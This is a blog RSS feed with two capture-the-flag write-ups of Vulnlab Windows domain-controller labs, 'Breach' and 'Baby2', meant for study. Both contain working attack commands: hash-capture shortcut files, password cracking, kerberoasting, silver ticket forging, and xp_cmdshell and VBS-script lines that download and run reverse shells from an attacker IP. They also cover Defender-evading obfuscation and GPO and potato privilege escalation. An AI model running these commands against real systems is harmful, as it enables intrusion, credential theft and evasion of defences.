<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>writeup &#8211; HUMBLE TESTER</title>
	<atom:link href="https://humbletester.com/tag/writeup/feed/" rel="self" type="application/rss+xml" />
	<link>https://humbletester.com</link>
	<description></description>
	<lastBuildDate>Tue, 30 Apr 2024 17:47:08 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.4</generator>

<image>
	<url>https://humbletester.com/wp-content/uploads/2023/05/cropped-mayan-32x32.png</url>
	<title>writeup &#8211; HUMBLE TESTER</title>
	<link>https://humbletester.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Vulnlab Breach (Medium) Windows Machine &#8211; Writeup</title>
		<link>https://humbletester.com/vulnlab-breach-medium-windows-machine-writeup/</link>
					<comments>https://humbletester.com/vulnlab-breach-medium-windows-machine-writeup/#respond</comments>
		
		<dc:creator><![CDATA[Vel M]]></dc:creator>
		<pubDate>Tue, 30 Apr 2024 16:06:27 +0000</pubDate>
				<category><![CDATA[Vulnlab Writeup]]></category>
		<category><![CDATA[breach]]></category>
		<category><![CDATA[medium]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[vulnlab]]></category>
		<category><![CDATA[writeup]]></category>
		<guid isPermaLink="false">https://humbletester.com/?p=1298</guid>

					<description><![CDATA[Hello Everyone ! This is an writeup of Vulnlab's breach machine. Breach is an Medium rated windows machine machine. It is one of the TJNull's OSCP like machines Enumeration NMAP Scan sudo rustscan --ulimit 5000 -b 500 -a 10.10.125.15 -- -sC -sV -Pn &#124; tee breach.nmap .----. .-. .-. .----..---. .----. .---. .--. .-. .-. [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Hello Everyone ! This is an writeup of Vulnlab's breach machine. Breach is an Medium rated windows machine machine. It is one of the <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">TJNull's OSCP like machines</a></p>
<h1>Enumeration</h1>
<h2>NMAP Scan</h2>
<pre><code class="language-bash">sudo rustscan --ulimit 5000 -b 500 -a 10.10.125.15 -- -sC -sV -Pn | tee breach.nmap                                                                                                                                        
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
&#x1f30d;HACK THE PLANET&#x1f30d;
---- SNIP ----
53/tcp    open  domain        syn-ack ttl 127 Simple DNS Plus
80/tcp    open  http          syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods: 
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
88/tcp    open  kerberos-sec  syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-04-23 16:03:51Z)
135/tcp   open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds? syn-ack ttl 127
464/tcp   open  kpasswd5?     syn-ack ttl 127
593/tcp   open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped    syn-ack ttl 127
1433/tcp  open  ms-sql-s      syn-ack ttl 127 Microsoft SQL Server 2019 15.00.2000.00; RTM
|_ssl-date: 2024-04-23T16:05:22+00:00; +2s from scanner time.
| ms-sql-info: 
|   10.10.125.15:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| ms-sql-ntlm-info: 
|   10.10.125.15:1433: 
|     Target_Name: BREACH
|     NetBIOS_Domain_Name: BREACH
|     NetBIOS_Computer_Name: BREACHDC
|     DNS_Domain_Name: breach.vl
|     DNS_Computer_Name: BREACHDC.breach.vl
|     DNS_Tree_Name: breach.vl
|_    Product_Version: 10.0.20348
 ---- SNIP ----
3268/tcp  open  ldap          syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: breach.vl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped    syn-ack ttl 127
3389/tcp  open  ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services
| ssl-cert: Subject: commonName=BREACHDC.breach.vl
| Issuer: commonName=BREACHDC.breach.vl
9389/tcp  open  mc-nmf        syn-ack ttl 127 .NET Message Framing
49664/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49667/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
49668/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
57892/tcp open  ncacn_http    syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
58114/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC
63079/tcp open  msrpc         syn-ack ttl 127 Microsoft Windows RPC</code></pre>
<h3>Information from NMAP scan</h3>
<ul>
<li>We are dealing with a domain controller</li>
<li>Port 80 is open</li>
<li>MSSQL is present</li>
<li>Rest are usual on a DC</li>
</ul>
<h2>SMB Enumeration</h2>
<pre><code class="language-bash">nxc smb 10.10.125.15 -u &#039;asd&#039; -p &#039;&#039; --shares [0]
SMB         10.10.125.15    445    BREACHDC         [*] Windows 10.0 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:False)
SMB         10.10.125.15    445    BREACHDC         [+] breach.vl\asd: 
SMB         10.10.125.15    445    BREACHDC         [*] Enumerated shares
SMB         10.10.125.15    445    BREACHDC         Share           Permissions     Remark
SMB         10.10.125.15    445    BREACHDC         -----           -----------     ------
SMB         10.10.125.15    445    BREACHDC         ADMIN$                          Remote Admin
SMB         10.10.125.15    445    BREACHDC         C$                              Default share
SMB         10.10.125.15    445    BREACHDC         IPC$            READ            Remote IPC
SMB         10.10.125.15    445    BREACHDC         NETLOGON                        Logon server share 
SMB         10.10.125.15    445    BREACHDC         share           READ,WRITE      
SMB         10.10.125.15    445    BREACHDC         SYSVOL                          Logon server share 
SMB         10.10.125.15    445    BREACHDC         Users           READ            </code></pre>
<ul>
<li><code>share</code> has guest read/write access</li>
<li>We also have read access on Users share</li>
</ul>
<h4>Exploring <code>share</code></h4>
<pre><code class="language-bash">smbclient.py breach.vl/fdf@10.10.125.15</code></pre>
<ul>
<li>we can get 3 user names on transfer folder inside <code>share</code></li>
<li>The folder name <code>Transfer</code> sparks a hint , that users may interact with the files present inside.</li>
<li>Since we have the write access, we can dig further on this.</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240423214810.png" alt="" /></p>
<h3>LDAP Enumeration</h3>
<ul>
<li>Anonymous bind is not enabled on LDAP</li>
</ul>
<h3>MS-SQL Enumeration</h3>
<ul>
<li>Anonymous login is not enabled here as well</li>
</ul>
<pre><code class="language-bash">nxc mssql 10.10.125.15 -u &#039;&#039; -p &#039;&#039;                                                                                                                    [0]
MSSQL       10.10.125.15    1433   BREACHDC         [*] Windows 10.0 Build 20348 (name:BREACHDC) (domain:breach.vl)
MSSQL       10.10.125.15    1433   BREACHDC         [-] ERROR(BREACHDC\SQLEXPRESS): Line 1: Login failed for user &#039;NT AUTHORITY\ANONYMOUS LOGON&#039;.</code></pre>
<h3>Web enumeration</h3>
<ul>
<li>No intresting leads there as well.</li>
</ul>
<h3>Deep dive on the obtained usernames</h3>
<ul>
<li>Let's first check if the users are valid and any AS-REP roastable users</li>
</ul>
<pre><code class="language-bash">kerbrute userenum --dc 10.10.125.15 users -d breach.vl                                                                                                [0]

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,&lt; /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (9cfb81e) - 04/23/24 - Ronnie Flathers @ropnop

2024/04/23 21:52:13 &gt;  Using KDC(s):
2024/04/23 21:52:13 &gt;    10.10.125.15:88

2024/04/23 21:52:13 &gt;  [+] VALID USERNAME:    claire.pope@breach.vl
2024/04/23 21:52:13 &gt;  [+] VALID USERNAME:    julia.wong@breach.vl
2024/04/23 21:52:13 &gt;  [+] VALID USERNAME:    diana.pope@breach.vl
2024/04/23 21:52:13 &gt;  Done! Tested 3 usernames (3 valid) in 0.175 seconds</code></pre>
<ul>
<li>All user names are valid and no AS-REP roastable users present</li>
<li>Since there is no further hints on passwords, Let's try usernames as passwords, but no luck</li>
</ul>
<pre><code class="language-bash">nxc smb 10.10.125.15 -u users -p users --no-bruteforce --continue-on-success                                                                          [2]
SMB         10.10.125.15    445    BREACHDC         [*] Windows 10.0 Build 20348 x64 (name:BREACHDC) (domain:breach.vl) (signing:True) (SMBv1:False)
SMB         10.10.125.15    445    BREACHDC         [-] breach.vl\claire.pope:claire.pope STATUS_LOGON_FAILURE 
SMB         10.10.125.15    445    BREACHDC         [-] breach.vl\diana.pope:diana.pope STATUS_LOGON_FAILURE 
SMB         10.10.125.15    445    BREACHDC         [-] breach.vl\julia.wong:julia.wong STATUS_LOGON_FAILURE </code></pre>
<h3>Deep dive on transfer folder</h3>
<ul>
<li>Since we have write access on this folder, lets drop an scf file to see if there are any interactions received on responder</li>
<li>Start responder</li>
</ul>
<pre><code class="language-bash">sudo responder -v -I tun0</code></pre>
<p><strong>SCF file</strong></p>
<pre><code class="language-bash">[Shell]
Command=2
IconFile=\\10.8.2.13\share\v3l5.ico
[Taskbar]
Command=ToggleDesktop</code></pre>
<ul>
<li>Lets upload it into transfer folder and see if we get interaction.</li>
<li>Note that, the scf file should be at first.</li>
<li>Unfortunately, no interaction was received. Not sure why?</li>
</ul>
<p>Lets' try another vector uploading .URL file and we got an interaction on responder as user Julia.Wong</p>
<pre><code class="language-bash">[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\10.8.2.13\%USERNMAE%.icon
IconIndex=1</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240424221746.png" alt="" /></p>
<h1>Initial Access</h1>
<ul>
<li>Let's try to crack the hash using hashcat using rockyou.txt wordlist
<pre><code class="language-bash">hashcat -m 5600 hash /usr/share/wordlists/rockyou.txt --force</code></pre>
</li>
<li>We have successfully cracked and obtained the clear text password.<br />
<img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240424224021.png" alt="" /></li>
<li>Verify the level of access using nxe<br />
<img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240424224448.png" alt="" /></li>
<li>We have additional read access to NETLOGON and SYSVOL
<ul>
<li>Enumerated shares again , but no interesting leads here </li>
</ul>
</li>
<li>No winrm, RDP access</li>
<li>low privileged user access on mssql</li>
</ul>
<h2>Bloodhound</h2>
<ul>
<li>Lets run bloodhound to get useful details about Domain objects.</li>
</ul>
<pre><code class="language-bash">bloodhound-python -d &#039;breach.vl&#039; -u &#039;Julia.Wong&#039; -p &#039;XXXXXXXXX&#039; -c all -ns 10.10.86.42</code></pre>
<ul>
<li>We found a kerberoastable user <code>svc_mssql</code></li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240429215549.png" alt="" /></p>
<h3>Kerberoasting</h3>
<ul>
<li>using Impacket , lets get the hash</li>
</ul>
<pre><code class="language-bash">GetUserSPNs.py -request -dc-ip 10.10.86.42 breach.vl/Julia.Wong:&#039;XXXXXXXXXX&#039;</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240429220657.png" alt="" /></p>
<pre><code class="language-bash">hashcat -m 13100 --force -a 0 sqlsvchash /usr/share/wordlists/rockyou.txt</code></pre>
<ul>
<li>Password cracked</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240429221001.png" alt="" /></p>
<ul>
<li>Check if we have administrator privileges over MSSQL DB using nxe</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240429222600.png" alt="" /></p>
<ul>
<li>Unfortunately, we still have only guest privileges on MSSQL db.</li>
</ul>
<h2>Generating Silver ticket</h2>
<ul>
<li>Lets get a silver ticket as Administrator user, which will get us Administrative privileges over MSSQL DB</li>
<li>We can use ticketer.py to generate the silver ticket. Required details are available on the bloodhound results
<ul>
<li>Domian SID: S-1-5-21-2330692793-3312915120-706255856</li>
<li>SPN: MSSQLSvc/breachdc.breach.vl:1433</li>
<li>NTLM hash - Since the password is known, we use any online tools to generate the hash.</li>
</ul>
</li>
</ul>
<pre><code class="language-bash">ticketer.py -nthash 6959XXXXXXXXXXXXXXXX70E25A5C -domain-sid S-1-5-21-2330692793-3312915120-706255856 -domain breach.vl -spn &#039;MSSQLSvc/breachdc.breach.vl:1433&#039; Administrator</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240429224654.png" alt="" /></p>
<ul>
<li>export the ccache file - <code>export KRB5CCNAME=Administrator.ccache</code></li>
<li>Let's check if the ccache file is working</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240429224602.png" alt="" /></p>
<ul>
<li>
<p>We got the administrator access over MSSQL</p>
<h3>Shell Access</h3>
</li>
<li>
<p>Login using mssqlclinet.py</p>
</li>
</ul>
<pre><code class="language-bash">mssqlclient.py Administrator@BREACHDC.breach.vl -k -no-pass -windows-auth -dc-ip 10.10.86.42</code></pre>
<ul>
<li>Enable XP cmd shell which allows us to run any command.</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240430063421.png" alt="" /></p>
<ul>
<li>Let's get a reverse shell. When i tried conpty shell, It gets blocked by the Defender.</li>
<li>So, lets go with a simple <a href="https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1">Nishang's tcp reverse shell</a> and invoke the reverse shell function within the script itself.</li>
<li>For Obfuscation, I used - <a href="https://github.com/JoelGMSec/Invoke-Stealth">https://github.com/JoelGMSec/Invoke-Stealth</a></li>
<li>Run below and rename the file, I renamed the obfuscated script to ps.txt</li>
</ul>
<pre><code class="language-bash">pwsh Invoke-Stealth.ps1 /opt/tools/Nishang/ps.ps1 -t PyFuscation</code></pre>
<ul>
<li>We were able to get a reverse shell using that and bypassed defender successfully for now</li>
</ul>
<pre><code class="language-bash">xp_cmdshell powershell IEX(IWR http://10.8.2.13:8000/ps.txt -UseBasicParsing);</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240430065305.png" alt="" /></p>
<h1>Privilege Escalation</h1>
<ul>
<li>svc_mssql has Se-impersonate Privilege enabled.</li>
<li>We can use JuicyPotatoNG.exe to abuse the Se-impersonate and achieve privilege escalation.</li>
<li>We are able to get command execution as SYSTEM</li>
</ul>
<pre><code class="language-bash">./JuicyPotatoNG.exe -t * -p C:\windows\system32\cmd.exe -a &quot;/c powershell IEX(IWR http://10.8.2.13:8000/ps.txt -UseBasicParsing);&quot;</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240430163206.png" alt="" /></p>
<p><strong>Note:</strong> Before trying JuicyPotatoNG , I tried petitpotato.exe &amp; godpotato.exe - I'm able to get a simple command execution, but not a reverse shell. Petitpotato closed execution before even fully downloading the reverse shell script &amp; godpotato was very slow and broke the box</p>
<p>That's all for now. I hope you enjoyed this writeup. For any questions/suggestions, Please feel free to connect with me on LinkedIn.</p>
<h1>References</h1>
<ul>
<li><a href="https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-amsi-bypass/#which-endpoint-protection-is-using-amsi">https://swisskyrepo.github.io/InternalAllTheThings/redteam/evasion/windows-amsi-bypass/#which-endpoint-protection-is-using-amsi</a></li>
<li><a href="https://github.com/antonioCoco/JuicyPotatoNG">https://github.com/antonioCoco/JuicyPotatoNG</a></li>
<li><a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket">https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket</a></li>
</ul>
]]></content:encoded>
					
					<wfw:commentRss>https://humbletester.com/vulnlab-breach-medium-windows-machine-writeup/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Vulnlab Baby2 (Medium) Windows Machine &#8211; Writeup</title>
		<link>https://humbletester.com/vulnlabs-baby2-medium-windows-machine-writeup/</link>
					<comments>https://humbletester.com/vulnlabs-baby2-medium-windows-machine-writeup/#respond</comments>
		
		<dc:creator><![CDATA[Vel M]]></dc:creator>
		<pubDate>Tue, 23 Apr 2024 03:48:26 +0000</pubDate>
				<category><![CDATA[Vulnlab Writeup]]></category>
		<category><![CDATA[baby2]]></category>
		<category><![CDATA[easy]]></category>
		<category><![CDATA[oscp]]></category>
		<category><![CDATA[vulnlab]]></category>
		<category><![CDATA[writeup]]></category>
		<guid isPermaLink="false">https://humbletester.com/?p=1257</guid>

					<description><![CDATA[Hello Everyone ! This is an writeup of Vulnlab's Baby2 machine. Baby2 is an Medium rated windows machine machine. It is one of the TJNull's OSCP like machines Summary Initial access is through finding a valid set of credentials , which has extensive permission to write on a share that hosts a vb script. Replacing [&#8230;]]]></description>
										<content:encoded><![CDATA[<p>Hello Everyone ! This is an writeup of Vulnlab's Baby2 machine. Baby2 is an Medium rated windows machine machine. It is one of the <a href="https://docs.google.com/spreadsheets/u/1/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/htmlview#">TJNull's OSCP like machines</a></p>
<h1>Summary</h1>
<p>Initial access is through finding a valid set of credentials , which has extensive permission to write on a share that hosts a vb script. Replacing the script with a malicious one get's our initial shell as user <code>Amelia.Griffiths</code>. From there, We could enumerate AD further to find interesting ACLs that the user <code>Amelia.Griffiths</code> have on <code>gpoadm</code> user. </p>
<p>Further, <code>gpoadm</code> user have &quot;GenericAll&quot; rights over 2 GPOs, Using pyGPOAbuse, we can create and execute a scheduled task as SYSTEM user to add <code>gpoadm</code>  to the local administrator group granting us the administrator access.</p>
<h1>Enumeration</h1>
<h2>NMAP Scan</h2>
<pre><code class="language-bash">└─➜ sudo rustscan --ulimit 5000 -b 500 -a 10.10.110.149 -- -sC -sV -Pn | tee baby2.nmap                                                                                                                                                           [130]
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&#039; `-&#039;`-----&#039;`----&#039;  `-&#039;  `----&#039;  `---&#039; `-&#039;  `-&#039;`-&#039; `-&#039;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Real hackers hack time &#x231b;

[~] The config file is expected to be at &quot;/root/.rustscan.toml&quot;
[~] Automatically increasing ulimit value to 5000.
Open 10.10.110.149:53
Open 10.10.110.149:88
Open 10.10.110.149:135
Open 10.10.110.149:139
Open 10.10.110.149:389
Open 10.10.110.149:445
Open 10.10.110.149:464
Open 10.10.110.149:593
Open 10.10.110.149:636
Open 10.10.110.149:3268
Open 10.10.110.149:3269
Open 10.10.110.149:3389
Open 10.10.110.149:9389</code></pre>
<ul>
<li>Open ports - 53,88,389 are common in Domain Controller.</li>
<li>Quick nxc scan confirm that, we are indeed dealing with a DC</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240421220433.png" alt="" /></p>
<ul>
<li>We also have anonymous login enabled and shares that have read and write privileges.</li>
</ul>
<h2>Service Enumeration</h2>
<ul>
<li>Let's dig deeper on the SMB service.</li>
<li>I'm going to use impacket's smbclient to connect and enumerate the file system</li>
</ul>
<pre><code class="language-bash">smbclient.py baby2.vl\sdaasda@10.10.110.149</code></pre>
<h3>Enumerating apps share</h3>
<pre><code class="language-bash">on smbclient

type `shares` to list all the shares
type `use &lt;share_name&gt;` - to select a share
tyep `mget *` - to download all files present</code></pre>
<ul>
<li>2 files - changelog and login.vbs.lnk files are present</li>
<li>download both files</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240421221134.png" alt="" /></p>
<ul>
<li>CHANGELOG file hints about some automation activity</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240421221708.png" alt="" /></p>
<ul>
<li>Running strings on login.vbs.lnk shows that login.vbs script is most likely fetched from SYSVOL share. But we do not have access to SYSVOL share</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240421231953.png" alt="" /></p>
<h3>Enumerating homes share</h3>
<ul>
<li>
<p>homes share is where we have read and write privileges</p>
</li>
<li>
<p>It looks like C:/Users folder as it reveals so many usernames</p>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240421224521.png" alt="" /></p>
</li>
<li>
<p>Since there are many folder we can use nxe's spider_plus module to recursively look into the each folders and identify any interesting files</p>
</li>
<li>
<p>Apparently there are no files available inside any of the folders</p>
</li>
</ul>
<pre><code class="language-bash">nxc smb 10.10.110.149 -u &#039;dsad&#039; -p &#039;&#039; --shares -M spider_plus</code></pre>
<h3>Enumerating NETLOGON share</h3>
<ul>
<li>Only 1 file present - login.vbs</li>
<li>It looks like the automation script that changelog talked about</li>
</ul>
<p>At this point, Since we have a writable share, Tried <a href="https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/">scf attack</a> on the homes share and was unsuccessful as there were no interaction received on responder to grab hashes.</p>
<h2>Initial Access</h2>
<ul>
<li>With the usernames we got, let's check if they are valid and any AS-REP roastable users present</li>
</ul>
<pre><code class="language-bash">kerbrute userenum --dc 10.10.110.146 -d baby2.vl</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240421231328.png" alt="" /></p>
<ul>
<li>All users are valid and no AS-REP roastable users present</li>
<li>Next step is to check the description of the users, but LDAP anonymous bind is not enabled which stops us from doing few more checks.</li>
<li>With no hints about passwords, our only option is to try bruteforce with usernames as password.</li>
</ul>
<pre><code class="language-bash">nxc smb 10.10.101.190 -u usernames -p usernames --no-bruteforce --continue-on-success</code></pre>
<ul>
<li><code>--no-bruteforce</code> flag will bruteforce line 1 to line 1 and don't mix match the provided list&amp; <code>continue-on-sucess</code> flag will not stop the bruteforce with one valid combination</li>
</ul>
<p>Excellent ! we got 2 user accounts, with a valid combination</p>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422182116.png" alt="" /></p>
<h3>Enumerating Permissions</h3>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422192917.png" alt="" /></p>
<ul>
<li>Both the user has read &amp; Write access to apps &amp; docs shares. But It's always best to check the access manually on the shares as we cannot rely fully on the tool's output</li>
<li>Since we have access to apps folder, I tried to replace login.vbs.lnk with a <a href="https://github.com/blacklanternsecurity/mklnk">malicious lnk file</a> so that we can get our required interaction on responder to capture the NET-NTLMv2 hash.</li>
<li>But no luck there, It allows us to upload new files but unable to replace a existing file</li>
<li>No interesting files under <code>docs</code> directory as well</li>
<li>We are left with SYSVOL, Upon enumeration it has the login.vbs file which is present on the .lnk file as previously mentioned, surprisingly we are allowed to put/replace files in that share</li>
<li>Now the initial access starting to takes shape, Since we have a vb script present, we can put vbs reverse shell inside the script to get our initial shell</li>
<li>I have added a vbs wscript shell execution code into login.vbs to execute my ConPty reverse shell</li>
</ul>
<pre><code class="language-bash">Set shell_object = CreateObject(&quot;WScript.Shell&quot;)
shell_object.Exec (&quot;powershell.exe IEX(IWR http://10.8.2.13:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.8.2.13 4444&quot;)</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422203333.png" alt="" /></p>
<ul>
<li>Let's upload it into SYSVOL and wait for the callback</li>
<li>Finally, we got our reverse shell as user Amelia.Griffiths</li>
</ul>
<h1>AD Enumeration</h1>
<ul>
<li>As usual, the first step is to check the privileges <code>whoami /priv</code> and we don't see any privileges that we can abuse to escalate our privileges</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422203706.png" alt="" /></p>
<ul>
<li>Using Powerview , Let's start enumerating the AD.</li>
<li>Whenever I'm on an AD network, Below are the few things that I do no matter what, to get an overview about the field I'm in. Most of the time, these would give the quick wins or help us to understand the next possible steps
<ul>
<li>Enumerate Users</li>
<li>Enumerate Users description</li>
<li>Enumerate Computers</li>
<li>Enumerate Domain shares</li>
<li>Enumerate Groups</li>
<li>Enumerate Non-Default group's members</li>
<li>Enumerate Domain Admin group members</li>
<li>Enumerate Interesting ACLs</li>
<li>Enumerate Kerberostable users</li>
<li>Enumerate AS-REP roastable users</li>
<li>Enumerate LAPS Delegated groups</li>
<li>Enumerate Unconstrained delegation</li>
<li>Enumerate Users &amp; Computers with Constrained delegation</li>
</ul>
</li>
</ul>
<h2>Enumerating Interesting ACLs</h2>
<pre><code class="language-bash">Invoke-AClScanner -ResolveGUID</code></pre>
<ul>
<li>Looks like gpoadm object has &quot;GenericAll&quot; access to group policies (snipped in screenshot)</li>
<li>Also the legacy object has WriteDACL, WriteOwner access on gpoadm and gpo-management object</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422204929.png" alt="" /><br />
<img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422205009.png" alt="" /></p>
<ul>
<li>Also we are part of legacy group, with that we can takeover gpoadm user and then can abuse GenericAll access on group policies to escalate our privileges</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422205204.png" alt="" /></p>
<h1>Privilege Escalation</h1>
<h2>Takeover gpoadm</h2>
<ul>
<li>First step is to add GenericAll rights on gpoadm.</li>
</ul>
<pre><code class="language-powershell">Add-DomainObjectAcl -TargetIdentity &quot;gpoadm&quot; -PrincipalIdentity &quot;legacy&quot; -Domain baby2.vl -Rights All -Verbose</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422205721.png" alt="" /></p>
<ul>
<li>With the &quot;GenericAll&quot; rights, we can force change the password of gpoadm user</li>
</ul>
<pre><code class="language-powershell">net user gpoadm Password1! /domain</code></pre>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422210022.png" alt="" /></p>
<ul>
<li>We have successfully changed the password</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422210451.png" alt="" /></p>
<h2>BloodHound Enumeration</h2>
<ul>
<li>We already know that the gpoadm user has GenericAll rights over group policy objects. We'll also use bloodhound to look into it.</li>
<li>Spin up Bloodhound CE</li>
</ul>
<pre><code class="language-bash">curl -L https://ghst.ly/getbhce | sudo docker-compose -f - up</code></pre>
<ul>
<li>Download the latest release of <a href="https://github.com/dirkjanm/BloodHound.py/tree/bloodhound-ce">bloodhound.py</a> which is compatible with the CE Edition</li>
</ul>
<pre><code class="language-bash">bloodhound-python -d &#039;baby2.vl&#039; -u &#039;gpoadm&#039; -p &#039;Password1!&#039; -c all -ns 10.10.101.190</code></pre>
<ul>
<li>Upload the results to bloodhound. we could see the same results visually that <code>gpoadm</code> user has <code>Generic All</code> access over 2 group policy objects</li>
</ul>
<h2>Abusing GPO</h2>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422212942.png" alt="" /></p>
<ul>
<li>As per recommendation by BloodHound CE , We'll use <a href="https://github.com/Hackndo/pyGPOAbuse/blob/master/pygpoabuse.py">pyGPOAbuse.py.</a> GPO-ID can be obtained from the bloodHound itself by selecting respective object</li>
</ul>
<pre><code class="language-bash">python3 pygpoabuse.py baby2.vl/gpoadm:&#039;Password1!&#039; -gpo-id &#039;6AC1786C-XXXXXXXXXXX-00C04FB984F9&#039; -command &#039;net localgroup administrators gpoadm /add&#039; -f -dc-ip 10.10.101.190</code></pre>
<ul>
<li>Give few minutes for the scheduled task to run.</li>
<li>We have successfully added gpoadm user to Administrators group</li>
</ul>
<p><img decoding="async" src="https://humbletester.com/wp-content/uploads/2024/04/Pasted-image-20240422225019.png" alt="" /></p>
<ul>
<li>Login using impacket's psexec</li>
</ul>
<pre><code class="language-bash">psexec.py gpoadm:&#039;Password1!&#039;@10.10.119.236</code></pre>
